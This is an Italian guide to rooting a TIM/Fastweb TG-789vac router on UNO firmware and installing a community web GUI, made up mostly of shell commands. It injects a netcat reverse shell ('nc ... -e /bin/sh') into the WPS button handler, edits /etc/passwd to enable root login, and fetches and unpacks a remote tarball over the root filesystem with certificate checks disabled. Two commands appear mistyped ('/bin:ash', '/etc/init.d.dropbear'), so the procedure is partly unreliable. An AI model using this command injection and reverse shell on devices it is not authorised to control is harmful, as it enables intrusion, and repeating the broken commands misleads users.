Guida al Root del dispositivo, con firmware UNO aggiornato all’ultima versione (17.2).

Il router in questione è quello bianco della foto, in Italia viene distribuito da Tim o Fastweb per abbonamenti vdsl. Agpwi Photo

Se non hai ancora installato il firmware UNO eccoti la guida: Come Flashare UNO sul TG-789Vac

DISCLAIMER: Non mi ritengo responsabile per eventuali router brickati, eventuali gatti morti o guerre termonucleari dovute ad un malfunzionamento del suddetto prodotto.

NOTA: La procedura viene eseguita su Linux

Procedimento:

  1. Impostare netcat in ascolto sul proprio pc con: nc -lvvp 1337

  2. Loggarsi sul router in SSH usando come credenziali:
         -Username: engineer
         -Password: quella usata per loggarsi come admin nella webui
    
  3. Dare questo comando: set uci.button.button.@wps.handler 'nc 192.168.1.X 1337 -e /bin/sh'

  4. Premere il pulsante laterale per far partire netcat

  5. Dare questi comandi sulla shell netcat aperta:
     set uci.button.button.@wps.handler 'wps_button_pressed.sh'
     sed -i 's#root:/bin/false#root:/bin:ash#' /etc/passwd
     uci set dropbear.lan.RootPasswordAuth='on'
     uci set dropbear.lan.RootLogin='1'
     uci commit
     /etc/init.d.dropbear restart
     passwd
    

    Con il comando passwd chiedera’ di inserire la password dell’utente root.

  6. Fine. Ora e’ possibile loggarsi in SSH come root/password

Procedura per installare la gui di ansuel:

NOTA: Per evitare vari problemi alla ui, e’ consigliabile aver gia’ configurato il modem per la navigazione in internet.

  1. Loggarsi sul router in SSH come root ( vedi sopra)

  2. Dare i seguenti comandi:
     curl -k https://raw.githubusercontent.com/Ansuel/gui-dev-build-auto/master/GUI.tar.bz2 --output /tmp/GUI.tar.bz2
     bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
     /etc/init.d/rootdevice force
    

    A procedura finita, e’ consigliabile riavviare il modem con reboot

  3. Godersi la nuova ui! (creata da ANSUEL, pagina GitHub )

Fine